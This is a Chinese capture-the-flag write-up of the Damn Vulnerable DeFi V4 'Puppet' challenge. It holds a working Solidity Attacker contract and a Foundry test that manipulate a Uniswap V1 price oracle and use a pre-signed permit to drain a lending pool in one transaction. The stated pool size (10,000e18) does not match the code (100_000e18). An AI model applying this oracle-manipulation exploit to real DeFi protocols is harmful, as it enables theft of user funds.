Damn-vulnerable-defi-V4-solution(Puppet)

2025-09-02T10:38:00

一、Puppet

背景:

有一个包含 10,000e18 代币的借贷pool。该pool允许使用 ETH 作为抵押品借入代币 DVT,抵押品的价值必须是借入金额的两倍。ETH 和 DVT 之间的价格取决于 Uniswap V1 池中的代币数量。我们的初始 DVT 数量为 1,000e18。

Uniswap V1 是一个满足 x × y = k(常数)的 AMM,其中 x 为 ETH 数量,y 为代币数量。初始时 x = 10e18,y = 10e18,因此 k = 100e36。如果我们 swap 1,000e18 个代币,Uniswap V1 池中剩余 1,010e18 个代币,因此剩余 ETH数量为:

$$ k / (x + dx) = 100e36 / (10e18 + 1000e18) = 10 / 101 × e18 $$

ETH/DVT 之间的价格变为

$$ 1010e18 / (10 / 101 × e18) = 10201 $$

相当于一个 eth 可以换 10201 个 DVT。

要获得 10,000e18 个代币,我们需要 10,000e18 × 2 / 10,201 ≤ 2e19。因此,我们只需要 20 个 ETH。这是可行的,因为我们初始有 25e18 个 ETH,并且可以通过兑换获得额外的 ETH。因此,这个数量是绰绰有余的。

所以现在唯一的问题是挑战必须在单笔交易中完成。看来我们至少需要两笔交易:

  1. 部署攻击者合约
  2. 发送token给攻击者合约,完成剩余的攻击逻辑。

事实证明,这两个步骤可以合二为一,因为该代币继承了 Solmate 的 ERC20 协议,该协议具有permit向指定消费者授予许可的功能。这遵循了 EIP-2612 标准。简单来说,我们可以创建一个许可,使用玩家的私钥对其进行预签名,然后将签名传递给攻击者,以完成代币的批准。

token.permit(owner, spender, value, deadline, v, r, s)

permit等价于:不用 owner 账户亲自发起交易,就能帮 owner 对 spender 执行一次 approve。

  • 普通 ERC20 流程:

    • Player 调用 approve(attacker, amount) → 一笔交易(要 player 私钥签名+gas)。
    • 然后 attacker 才能用 transferFrom(player, attacker, amount) 转走代币。
  • permit 流程(EIP-2612):

    • Player 用自己的私钥离线签一个 message。
    • Attacker 把签名拿到链上,调用 permit(...) → 代替 Player 完成 approve(attacker, amount)。
    • 结果:attacker 获得了对 Player 代币的操作权

也就是说,permit 是一个 meta-transaction:签名 + 任意人 relay。

另一个重要的细节是,在使用部署合约时new Attacker(...),地址可以预先计算(因为它使用CREATE操作码),因为它只取决于部署者(player)和 nonce。

攻击思路
  1. Player 签名一份 permit,授权 attacker 合约花费他的 token。
  2. Attacker 部署时携带 25 ETH + 签名参数。
  3. 在构造函数里:

    • 用 permit 完成授权。
    • transferFrom 把 Player 的 1000 token 拉过来。
    • 用 token 去砸 Uniswap 池子,操纵价格。
    • 借空 Puppet Pool 的 token,直接送到 recovery 地址。

一切完成在 一笔交易:new Attacker(...) 里面。

function test_puppet() public checkSolvedByPlayer {
        address deployedAddr = vm.computeCreateAddress(address(player), 0);
        bytes32 message = keccak256(
            abi.encodePacked(
                "\x19\x01",
                token.DOMAIN_SEPARATOR(),
                keccak256(
                    abi.encode(
                        keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"),
                        player,
                        deployedAddr,
                        PLAYER_INITIAL_TOKEN_BALANCE,
                        0,
                        block.timestamp
                    )
                )
            )
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPrivateKey, message);
        new Attacker{value: 25 ether}(uniswapV1Exchange, lendingPool, token, v, r, s, recovery);
    }
contract Attacker {
    constructor(
        IUniswapV1Exchange uniswapV1Exchange,
        PuppetPool lendingPool,
        DamnValuableToken token,
        uint8 v,
        bytes32 r,
        bytes32 s,
        address recovery
    ) payable {
        token.permit(msg.sender, address(this), 1000e18, block.timestamp, v, r, s);
        token.transferFrom(msg.sender, address(this), 1000e18);
        token.approve(address(uniswapV1Exchange), 1000e18);
        uniswapV1Exchange.tokenToEthSwapInput(1000e18, 1, block.timestamp);
        lendingPool.borrow{value: 20 ether}(100_000e18, recovery);
    }

    // receive() external payable {}
    // fallback() external payable {}
}
  • Solidity 的规则:合约在构造函数执行期间可以自动接收 ETH,即使没有 receive() 或 fallback()
当前页面是本站的「Baidu MIP」版。发表评论请点击:完整版 »